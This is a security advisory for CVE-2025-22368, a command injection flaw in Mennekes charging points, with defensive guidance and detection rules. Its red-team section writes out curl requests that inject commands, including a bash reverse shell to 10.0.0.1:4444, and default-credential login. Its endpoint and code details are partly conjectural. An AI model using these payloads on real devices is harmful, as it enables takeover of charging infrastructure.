CVE-2025-22368
Executive Summary
CVE-2025-22368 exposes a critical OS Command Injection vulnerability in the authenticated SCU firmware command of Mennekes Smart and Premium Chargingpoints. An attacker with valid credentials can inject arbitrary OS commands through improperly neutralized fields, leading to full device compromise. This vulnerability affects the firmware command interface, allowing execution of system-level commands. No public proof-of-concept or patch is currently available, making this a high-risk zero-day for deployed charging infrastructure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the description and impact, the following assessment is made:
- Attack Vector (AV): Adjacent Network (A) – Requires network access to the charging point.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires authenticated access.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – Vulnerability affects only the device.
- Confidentiality (C): High (H) – Full system access.
- Integrity (I): High (H) – Can modify system files.
- Availability (A): High (H) – Can disrupt charging operations.
Estimated CVSS Score: 8.8 (High)
Threat Level: Critical – Exploitation could lead to physical damage, data theft, or use in botnets.
Deep Dive & Mechanics
The vulnerability resides in the SCU (System Control Unit) firmware command handler. When processing authenticated commands, the firmware fails to sanitize user-supplied input before passing it to the underlying operating system. Specifically, fields within the command structure are concatenated directly into a system call (e.g., system(), exec(), or popen()).
Attack Flow:
- Attacker gains authenticated access to the charging point (e.g., via default credentials, brute force, or session hijacking).
- Attacker crafts a malicious SCU command containing shell metacharacters (e.g.,
;,|,&&,`). - The firmware executes the command without sanitization, allowing arbitrary OS commands.
- Attacker achieves remote code execution with the privileges of the firmware process (typically root).
Root Cause: Improper neutralization of special elements used in an OS command (CWE-78). The firmware likely uses a function like sprintf(buffer, "command %s", user_input) followed by system(buffer).
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described:
Vulnerable (C):
void handle_scu_command(char *user_input) {
char cmd[256];
sprintf(cmd, "scu_tool --process %s", user_input);
system(cmd);
}
Patched (C):
void handle_scu_command(char *user_input) {
// Validate input: allow only alphanumeric and specific characters
if (!is_valid_input(user_input)) {
log_error("Invalid input");
return;
}
// Use execve with arguments to avoid shell injection
char *args[] = {"scu_tool", "--process", user_input, NULL};
execve("/usr/bin/scu_tool", args, NULL);
}
Key Differences:
- Input validation: Whitelist allowed characters.
- Use of
execveinstead ofsystemto prevent shell interpretation. - Proper error handling.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Obtain a Mennekes Smart/Premium Chargingpoint (physical or emulated).
- Connect to the device's management network (e.g., Ethernet, Wi-Fi).
- Identify the SCU firmware interface (e.g., port 80/443, custom TCP port).
Exploitation Steps:
- Authenticate to the device (e.g., default credentials
admin:admin). - Send a crafted SCU command with OS injection:
# Example using curl to send a command curl -X POST https://<device_ip>/scu_command \ -H "Authorization: Bearer <token>" \ -d '{"command": "status; id"}' - Verify execution by observing the response or out-of-band (e.g., DNS callback):
# Reverse shell payload curl -X POST https://<device_ip>/scu_command \ -H "Authorization: Bearer <token>" \ -d '{"command": "status; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}'
Expected Output:
uid=0(root) gid=0(root) groups=0(root)
Blue Team
Detection Steps:
- Monitor for anomalous SCU commands containing shell metacharacters (
;,|,&,`). - Alert on outbound connections from charging points to unknown IPs (potential reverse shells).
- Review authentication logs for brute force attempts or unusual login times.
Hunting Queries:
- Search for commands containing
bash,sh,nc,python,perlin SCU logs. - Look for processes spawned by the firmware that are not in the baseline.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections to IPs on non-standard ports (e.g., 4444, 1337).
- DNS queries for suspicious domains (e.g.,
c2.example.com).
Host IOCs:
- Unexpected processes:
bash,sh,nc,pythonrunning as root. - Modified system binaries in
/usr/bin/or/sbin/. - New cron jobs or systemd services.
- Files in
/tmp/with suspicious names (e.g.,.exploit.sh).
Log IOCs:
- SCU command logs containing
;,|,&&,`. - Authentication logs showing repeated failed attempts followed by success.
Detection Engineering
YARA Rule
rule CVE_2025_22368_SCU_Command_Injection {
meta:
description = "Detects OS command injection attempts in Mennekes SCU firmware commands"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22368"
severity = "critical"
strings:
$cmd_inject1 = /command.*[;&|`$(){}]/
$cmd_inject2 = /scu_tool.*--process.*[;&|`]/
$shell_cmd = /(bash|sh|nc|python|perl|wget|curl)/
condition:
any of ($cmd_inject*) and $shell_cmd
}
Sigma Rule
title: CVE-2025-22368 - Mennekes SCU Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects OS command injection attempts in Mennekes SCU firmware commands
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-22368
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/scu_tool'
CommandLine|contains:
- ';'
- '|'
- '&&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of special characters in SCU commands (rare)
level: critical
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22368 - Mennekes SCU Command Injection Outbound"; flow:to_server,established; content:"|0a|"; within:10; content:"bash"; nocase; content:"-i"; distance:0; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices from untrusted networks (e.g., place on a separate VLAN with strict ACLs).
- Change default credentials immediately and enforce strong password policies.
- Disable remote management if not required, or restrict to trusted IPs only.
Long-term Fixes:
- Vendor Patch: Await official firmware update from Mennekes. Monitor their security advisory page.
- Input Validation: Implement strict whitelisting of allowed characters in SCU commands.
- Use Safe APIs: Replace
system()calls withexecve()or similar functions that avoid shell interpretation. - Code Review: Conduct a thorough security audit of the SCU firmware command handler.
Workaround:
- Deploy a WAF or reverse proxy to inspect and block malicious SCU commands.
- Implement host-based IDS/IPS on the charging point (if supported).
Valters IT
Securing the Future of EV Infrastructure